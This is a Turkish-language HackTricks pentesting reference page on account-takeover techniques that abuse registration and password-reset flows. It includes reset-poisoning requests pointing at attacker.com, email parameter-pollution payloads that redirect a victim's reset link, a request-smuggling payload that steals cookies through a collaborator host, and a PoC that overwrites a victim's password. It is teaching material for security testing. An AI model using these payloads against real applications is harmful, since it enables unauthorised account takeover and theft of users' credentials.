Kayıt ve Hesap Ele Geçirme Zafiyetleri

Reading time: 7 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Kayıt Üzerinden Hesap Ele Geçirme

Yinelenen Kayıt

  • Mevcut bir kullanıcı adı kullanarak oluşturmaya çalışın
  • E-posta varyasyonlarını kontrol edin:
  • büyük harf kullanımı
  • +1@
  • e-postaya nokta ekleme
  • e-posta isminde özel karakterler (%00, %09, %20)
  • E-posta sonrasına boş karakterler koyun: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Kullanıcı Adı Tespiti

Uygulama içinde bir kullanıcı adının zaten kayıtlı olup olmadığını tespit edip edemeyeceğinizi kontrol edin.

Parola Politikası

Kullanıcı oluştururken parola politikasını kontrol edin (zayıf parolalar kullanıp kullanamayacağınızı test edin).
Bu durumda credentials üzerinde bruteforce deneyebilirsiniz.

SQL Injection

Check this page kayıt formlarında hesap ele geçirme veya bilgi çıkarmak için SQL Injections kullanmayı öğrenin.

Oauth Takeovers

OAuth to Account takeover

SAML Zafiyetleri

SAML Attacks

E-posta Değiştirme

Kayıtlıyken e-postayı değiştirmeyi deneyin ve bu değişikliğin doğru şekilde doğrulanıp doğrulanmadığını veya rastgele e-posta adreslerine değiştirilebilip değiştirilemeyeceğini kontrol edin.

Diğer Kontroller

  • tek kullanımlık e-postalar kullanıp kullanamayacağınızı kontrol edin
  • Uzun parola (>200) DoS'a yol açar
  • Hesap oluşturma için rate limits'ı kontrol edin
  • username@burp_collab.net kullanın ve callback'i analiz edin

Parola Sıfırlama ile Hesap Ele Geçirme

Parola Sıfırlama Token Leak Via Referrer

  1. E-posta adresinize parola sıfırlama isteği gönderin
  2. Parola sıfırlama linkine tıklayın
  3. Parolayı değiştirmeyin
  4. Herhangi bir 3rd party siteye tıklayın (örn: Facebook, twitter)
  5. İsteği Burp Suite proxy ile yakalayın
  6. Referer header'ının password reset token'ı leak edip etmediğini kontrol edin.

Password Reset Poisoning

  1. Parola sıfırlama isteğini Burp Suite ile yakalayın
  2. Burp Suite'te aşağıdaki header'ları ekleyin veya düzenleyin: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Değiştirilmiş header ile isteği iletin
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Host header'ına dayalı bir parola sıfırlama URL'si arayın, örneğin: https://attacker.com/reset-password.php?token=TOKEN

Parola Sıfırlama Email Parametresi Üzerinden

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR API Parametreleri Üzerinde

  1. Saldırgan kendi hesabıyla giriş yapıp Şifre değiştir özelliğine gitmeli.
  2. Burp Suite'i başlatın ve isteği yakalayın
  3. Repeater sekmesine gönderin ve parametreleri düzenleyin : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Zayıf Password Reset Token

Password reset token her seferinde rastgele oluşturulmuş ve benzersiz olmalıdır.
Token'ın süresinin dolup dolmadığını ya da her zaman aynı olup olmadığını belirlemeye çalışın; bazı durumlarda jenerasyon algoritması zayıftır ve tahmin edilebilir. Aşağıdaki değişkenler algoritma tarafından kullanılabilir.

  • Timestamp
  • UserID
  • Email of User
  • Firstname and Lastname
  • Date of Birth
  • Cryptography
  • Sadece sayı
  • Küçük token dizisi ( characters between [A-Z,a-z,0-9])
  • Token reuse
  • Token expiration date

Leaking Password Reset Token

  1. Belirli bir e-posta için API/UI üzerinden şifre sıfırlama isteği tetikleyin, örn: test@mail.com
  2. Inspect the server response and check for resetToken
  3. Then use the token in an URL like https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Hedefin kullanıcı adıyla aynı, ancak kullanıcı adının önüne ve/veya sonuna boşluk karakterleri eklenmiş bir kullanıcı adıyla sisteme kayıt olun. e.g: "admin "
  2. Kötü amaçlı kullanıcı adınızla şifre sıfırlama isteği yapın.
  3. E-postanıza gönderilen token'ı kullanıp hedefin şifresini sıfırlayın.
  4. Yeni şifreyle hedef hesabına giriş yapın.

The platform CTFd was vulnerable to this attack.
See: CVE-2020-7245

Cross Site Scripting ile Hesap Ele Geçirme

  1. Uygulama içinde veya çerezler ana domain'e scope edilmişse bir alt alan adında XSS bulun : *.domain.com
  2. Leak the current sessions cookie
  3. Çerezi kullanarak kullanıcı olarak kimlik doğrulaması yapın

HTTP Request Smuggling ile Hesap Ele Geçirme

1. HTTP Request Smuggling türünü tespit etmek için smuggler kullanın (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. POST / HTTP/1.1 üzerine aşağıdaki veri ile overwrite edecek bir istek oluşturun:
GET http://something.burpcollaborator.net HTTP/1.1 X: amacı victimleri burpcollab'e open redirect ederek çerezlerini çalmaktır
3. Son istek şu şekilde görünebilir

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone bu hatanın istismar edildiğini rapor ediyor
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRF ile Hesap Ele Geçirme

  1. CSRF için bir payload oluşturun, örn: “HTML form with auto submit for a password change”
  2. Payload'u gönderin

JWT ile Hesap Ele Geçirme

JSON Web Token bir kullanıcıyı doğrulamak için kullanılıyor olabilir.

  • JWT'yi başka bir User ID / Email ile düzenleyin
  • Zayıf JWT imzasını kontrol edin

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Bazı signup handlers, sağlanan email zaten mevcutsa upsert gerçekleştirir. Eğer endpoint email ve password içeren minimal bir body kabul ediyor ve sahiplik doğrulamasını zorunlu kılmıyorsa, kurbanın email'ini göndererek onların password'ünü pre-auth olarak üzerine yazabilirsiniz.

  • Discovery: bundled JS (veya mobil uygulama trafiği) üzerinden endpoint isimlerini toplayın, sonra ffuf/dirsearch kullanarak /parents/application/v4/admin/FUZZ gibi base path'leri fuzz edin.
  • Method hints: "Only POST request is allowed." gibi mesaj dönen bir GET genellikle doğru verb'ü ve JSON body beklendiğini gösterir.
  • Gerçek dünyada gözlemlenen minimal body:
json
{"email":"victim@example.com","password":"New@12345"}

Örnek PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Etkisi: Herhangi bir reset token, OTP veya email verification gerektirmeden Full Account Takeover (ATO).

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin